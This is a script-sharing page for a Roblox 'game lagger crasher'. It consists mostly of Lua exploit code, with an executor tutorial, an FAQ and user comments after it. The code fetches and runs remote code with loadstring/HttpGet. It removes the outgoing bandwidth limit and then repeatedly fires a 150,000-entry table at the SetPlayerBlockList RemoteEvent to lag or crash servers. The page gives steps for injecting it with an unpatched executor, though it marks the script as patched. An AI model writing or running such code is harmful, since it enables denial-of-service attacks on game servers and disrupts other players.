
Universal Script – dannatu's game lagger crasher
pcall(function() loadstring(game:HttpGet("https://scriptblox.com/ingest/clientv2.lua"))("proj_b30394732fd9", "1.0.0", false) end)
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local COLORS = {
bg = Color3.fromRGB(14, 14, 16),
surface = Color3.fromRGB(22, 22, 26),
disabled = Color3.fromRGB(38, 38, 44),
border = Color3.fromRGB(60, 60, 68),
accent = Color3.fromRGB(230, 35, 35),
accentDark = Color3.fromRGB(170, 22, 22),
accentBright = Color3.fromRGB(255, 70, 70),
crimson = Color3.fromRGB(110, 15, 15),
text = Color3.fromRGB(238, 238, 242),
white = Color3.fromRGB(255, 255, 255),
black = Color3.fromRGB(0, 0, 0),
}
local FONT = Enum.Font.GothamBlack
local SRC = [==[
local RunService = game:GetService("RunService")
local Children = 150000
local NestedPerChild = 0
local FieldsPerChild = 0
local FireBurst = 1
local FrameDelay = 0.125
local FieldSize = 0
local RebuildEach = false
local state = {
running = false,
thread = nil,
remote = nil,
cache = nil,
pad = "",
}
local function resolve()
local rrs = game:FindFirstChild("RobloxReplicatedStorage")
if not rrs then return nil end
local r = rrs:FindFirstChild("SetPlayerBlockList")
if r and (r:IsA("RemoteEvent") or r:IsA("UnreliableRemoteEvent")) then
return r
end
return nil
end
state.remote = resolve()
pcall(function()
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
end)
state.pad = FieldSize > 0 and string.rep("P", FieldSize) or ""
local function build()
local root = table.create(Children)
for i = 1, Children do
local entry = { id = i, v = i * 2 }
for k = 1, FieldsPerChild do
entry["k" .. k] = (FieldSize > 0) and state.pad or (i + k)
end
for j = 1, NestedPerChild do
entry["n" .. j] = { a = i, b = j }
end
root[i] = entry
end
return root
end
local function fire()
if not state.remote then
state.remote = resolve()
if not state.remote then return end
end
local payload
if RebuildEach or not state.cache then
payload = build()
if not RebuildEach then state.cache = payload end
else
payload = state.cache
end
for _ = 1, FireBurst do
state.remote:FireServer(payload)
end
end
local function start()
if state.running then return end
state.running = true
state.cache = nil
state.thread = task.spawn(function()
while state.running do
pcall(fire)
if FrameDelay > 0 then
task.wait(FrameDelay)
else
RunService.Heartbeat:Wait()
end
end
end)
end
local function stop()
state.running = false
if state.thread then pcall(task.cancel, state.thread) end
state.thread = nil
state.cache = nil
end
return {
start = start,
stop = stop,
toggle = function() if state.running then stop() else start() end end,
isRunning = function() return state.running end,
}
]==]
local loader = coroutine.create(function()
local chunk = loadstring(SRC)
if not chunk then return end
local ok, api = pcall(chunk)
if ok and type(api) == "table" then
_G.__ALT = api
end
end)
coroutine.resume(loader)
loader = nil
local api = _G.__ALT
_G.__ALT = nil
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "DannatuUI"
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screenGui.IgnoreGuiInset = true
screenGui.Parent = playerGui
local main = Instance.new("Frame")
main.Name = "MainFrame"
main.Size = UDim2.new(0, 210, 0, 92)
main.Position = UDim2.new(0.5, 0, 0.5, 0)
main.AnchorPoint = Vector2.new(0.5, 0.5)
main.BackgroundColor3 = COLORS.bg
main.BorderSizePixel = 0
main.ClipsDescendants = false
main.Parent = screenGui
local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 10)
mainCorner.Parent = main
local mainGrad = Instance.new("UIGradient")
mainGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14))
mainGrad.Rotation = 135
mainGrad.Parent = main
local borderFrame = Instance.new("Frame")
borderFrame.Name = "BorderFrame"
borderFrame.Size = UDim2.new(1, 2, 1, 2)
borderFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
borderFrame.AnchorPoint = Vector2.new(0.5, 0.5)
borderFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
borderFrame.BorderSizePixel = 0
borderFrame.ZIndex = 0
borderFrame.Parent = main
local borderCorner = Instance.new("UICorner")
borderCorner.CornerRadius = UDim.new(0, 11)
borderCorner.Parent = borderFrame
local borderGrad = Instance.new("UIGradient")
borderGrad.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0.0, Color3.fromRGB(40, 5, 5)),
ColorSequenceKeypoint.new(0.25, Color3.fromRGB(180, 20, 20)),
ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 90, 90)),
ColorSequenceKeypoint.new(0.75, Color3.fromRGB(180, 20, 20)),
ColorSequenceKeypoint.new(1.0, Color3.fromRGB(40, 5, 5)),
})
borderGrad.Rotation = 0
borderGrad.Parent = borderFrame
local innerMask = Instance.new("Frame")
innerMask.Name = "InnerMask"
innerMask.Size = UDim2.new(1, -2, 1, -2)
innerMask.Position = UDim2.new(0.5, 0, 0.5, 0)
innerMask.AnchorPoint = Vector2.new(0.5, 0.5)
innerMask.BackgroundColor3 = COLORS.bg
innerMask.BorderSizePixel = 0
innerMask.ZIndex = 1
innerMask.Parent = main
local innerCorner = Instance.new("UICorner")
innerCorner.CornerRadius = UDim.new(0, 9)
innerCorner.Parent = innerMask
local innerGrad = Instance.new("UIGradient")
innerGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14))
innerGrad.Rotation = 135
innerGrad.Parent = innerMask
local title = Instance.new("TextLabel")
title.Name = "Title"
title.Size = UDim2.new(1, 0, 0, 34)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundTransparency = 1
title.Font = FONT
title.Text = "dannatus lagger :3"
title.TextColor3 = COLORS.text
title.TextSize = 14
title.TextXAlignment = Enum.TextXAlignment.Center
title.ZIndex = 3
title.Parent = main
local toggle = Instance.new("TextButton")
toggle.Name = "Toggle"
toggle.Size = UDim2.new(1, -20, 0, 38)
toggle.Position = UDim2.new(0, 10, 0, 44)
toggle.BackgroundColor3 = COLORS.disabled
toggle.BorderSizePixel = 0
toggle.Font = FONT
toggle.Text = ""
toggle.TextTransparency = 1
toggle.AutoButtonColor = false
toggle.ZIndex = 3
toggle.Parent = main
local toggleCorner = Instance.new("UICorner")
toggleCorner.CornerRadius = UDim.new(0, 8)
toggleCorner.Parent = toggle
local toggleGrad = Instance.new("UIGradient")
toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54))
toggleGrad.Rotation = 135
toggleGrad.Parent = toggle
local toggleStroke = Instance.new("UIStroke")
toggleStroke.Color = COLORS.crimson
toggleStroke.Thickness = 1.66
toggleStroke.Transparency = 0
toggleStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
toggleStroke.Parent = toggle
local toggleLabel = Instance.new("TextLabel")
toggleLabel.Name = "Label"
toggleLabel.Size = UDim2.new(1, 0, 1, 0)
toggleLabel.Position = UDim2.new(0, 0, 0, 0)
toggleLabel.BackgroundTransparency = 1
toggleLabel.Font = FONT
toggleLabel.Text = "DISABLED"
toggleLabel.TextColor3 = COLORS.white
toggleLabel.TextTransparency = 0
toggleLabel.TextSize = 14
toggleLabel.TextXAlignment = Enum.TextXAlignment.Center
toggleLabel.TextYAlignment = Enum.TextYAlignment.Center
toggleLabel.ZIndex = 5
toggleLabel.Active = false
toggleLabel.Parent = toggle
local active = false
RunService.RenderStepped:Connect(function(dt)
local speed = active and 160 or 60
borderGrad.Rotation = (borderGrad.Rotation + speed * dt) % 360
end)
local function setActive(state)
active = state
if state then
toggle.BackgroundColor3 = COLORS.accentBright
toggleGrad.Color = ColorSequence.new(COLORS.accent, COLORS.accentBright)
toggleGrad.Rotation = 0
toggleStroke.Color = COLORS.accentBright
toggleLabel.Text = "ENABLED"
toggleLabel.TextColor3 = COLORS.black
if api and api.start then
pcall(api.start)
end
else
toggle.BackgroundColor3 = COLORS.disabled
toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54))
toggleGrad.Rotation = 135
toggleStroke.Color = COLORS.crimson
toggleLabel.Text = "DISABLED"
toggleLabel.TextColor3 = COLORS.white
if api and api.stop then
pcall(api.stop)
end
end
end
toggle.MouseButton1Click:Connect(function()
setActive(not active)
end)
local dragging = false
local dragStart, startPos
main.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = main.Position
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
main.Position = UDim2.new(
startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y
)
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)How to Execute Universal Script – dannatu's game lagger crasher
Step 1: Copy Code: Click the Copy Code button in the viewer above to grab the clean Lua loadstring.
Step 2: Launch Executor: Open a compatible, unpatched executor. If you need one, check our Roblox Executors Directory.
Step 3: Join Experience: Launch Roblox and join Universal Script.
Step 4: Attach & Run: Attach/inject your executor into the Roblox process, paste the code into the script tab, and press Execute.
Created By
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Community Comments (3)
Frequently Asked Questions
How do I execute Universal Script – dannatu's game lagger crasher in Roblox?
To run Universal Script – dannatu's game lagger crasher, copy the Lua loadstring from the code viewer above, launch Roblox and join Universal Script, attach a working executor (such as Potassium, Solara, or Delta from our Executors directory), paste the code into your executor console, and click Execute.
Is Universal Script – dannatu's game lagger crasher keyless or does it require an access key?
Universal Script – dannatu's game lagger crasher requires an access key. You can retrieve the official key directly using the Get Script Key link provided above.
Is Universal Script – dannatu's game lagger crasher currently safe and working?
This script is currently reported as patched. Check back soon for updated offsets or browse working scripts for Universal Script.


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Doesn't work anymore
Not urs was leaked as (hook anti lose)
@TomatoSC oh **** was it my friend gave me this and said to upload it on here